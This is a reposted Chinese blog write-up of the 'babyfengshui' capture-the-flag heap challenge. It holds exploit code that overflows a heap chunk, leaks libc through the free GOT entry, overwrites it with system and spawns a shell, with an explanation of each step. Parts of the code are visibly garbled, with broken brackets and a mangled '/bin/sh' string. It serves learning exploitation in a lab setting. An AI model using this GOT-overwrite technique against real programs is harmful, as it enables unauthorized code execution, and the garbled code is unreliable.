从babyfengshui

阅读: 评论:0

从babyfengshui

从babyfengshui

直接分析WP:

Add(0x80, 0x80, 'qin')
Add(0x80, 0x80, 'qin')
Add(0x8, 0x8, '/bin/shx00')
Del(0)#注意堆块块首的长度
Add(0x100, 0x19c, "a"*0x198+['free']))
Dis(1)
p.recvuntil("description: ")
free_addr = v(4))libc = LibcSearcher('free', free_addr)
libc_base = free_addr - libc.dump('free')
sys_addr = libc_base + libc.dump('system')#堆块1的description指针已经被修改为free的地址,则可以将free地址内的内容替换为system
Upd(1, 0x4, p32(sys_addr))
Del(2)p.interactive()

来自这位师傅

首先这个输入检查机制不必多说,绕过检查机制,导致堆溢出是本题的关键。

接下来我们来关注两个重点的问题,,,就是 “往某个地址写东西“” ,这句话的利用:

Add(0x100, 0x19c, "a"*0x198+['free']))
Dis(1)

这其实就是在修改description处的用户数据区的值,原本要显示的第二个堆中存着的堆地址被改变。
导致直接去显示了got表中free函数的函数地址,这里比较巧&#[,]和图中那个sub_80486bb的第一个地址一样,都是可以被写的地址。

Upd(1, 0x4, p32(sys_addr))
Del(2)

再来看这个,利用之前传入的表的地址,再利用该函数往该地址写入数据的功能,导致本来是要向原本存储的第一个堆块的地址处写数据改为向表处写数据,直接导致表处的free函数的地址被修改,,,,而后执行system(“/bin/shx00”)


有一点比较离谱的是,这里free的参数是个"/bin/shx00"该字符串的地址

本文发布于:2024-01-28 22:42:25,感谢您对本站的认可!

本文链接:https://www.4u4v.net/it/170645294810820.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

上一篇:KDG5V
标签:babyfengshui
留言与评论(共有 0 条评论)
   
验证码:

Copyright ©2019-2022 Comsenz Inc.Powered by ©

网站地图1 网站地图2 网站地图3 网站地图4 网站地图5 网站地图6 网站地图7 网站地图8 网站地图9 网站地图10 网站地图11 网站地图12 网站地图13 网站地图14 网站地图15 网站地图16 网站地图17 网站地图18 网站地图19 网站地图20 网站地图21 网站地图22/a> 网站地图23